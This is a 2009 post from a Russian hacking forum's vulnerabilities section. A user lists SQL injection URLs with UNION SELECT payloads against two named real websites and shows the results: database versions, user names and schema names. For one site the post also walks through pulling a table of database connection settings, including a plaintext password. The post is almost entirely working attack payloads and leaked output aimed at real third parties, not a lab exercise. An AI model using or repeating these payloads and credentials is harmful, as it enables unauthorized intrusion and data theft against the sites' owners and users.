HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 05.05.2009, 08:40
edichka
Новичок
Регистрация: 31.01.2009
Сообщений: 22
Провел на форуме:
451572

Репутация: 34
По умолчанию

cialis-cialis.com

Код HTML:
http://www.cialis-cialis.com/art.php?id=-29%20union%20select%201,2,unhex(hex(concat_ws(0x3a,version(),user(),database()))),4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9

4.1.10-standard:poppen_shop3@localhost:poppen_shop3
В австрийском гугле стоит по хорошим запросам =)

____________________________________________
Код:
http://www.talkeetnachamber.org PR4

http://www.talkeetnachamber.org/news.php?id=-11%20union%20select%201,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,0,1


5.0.51a-log:talkeetn_db01:talkeetn_db01@boscgi1001.eigbox.net

Существует интересная табличка с данными для подключения к БД 

http://www.talkeetnachamber.org/news.php?id=-11%20union%20select%201,2,3,group_concat(column_name),5,6,7,8,9,0,1%20from%20information_schema.columns%20where%20table_name=0x7068704d795365617263685f73657474696e6773

Действуем =)

http://www.talkeetnachamber.org/news.php?id=-11%20union%20select%201,2,3,concat_ws(0x3a3a3a,DBName,DBUser,DBPassword,DBHost),5,6,7,8,9,0,1%20from%20phpMySearch_settings



DBName,DBUser,DBPassword,DBHost
talkeetn_db01:::talkeetn_db01:::freckles:::localhost

Последний раз редактировалось edichka; 05.05.2009 в 10:50..
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.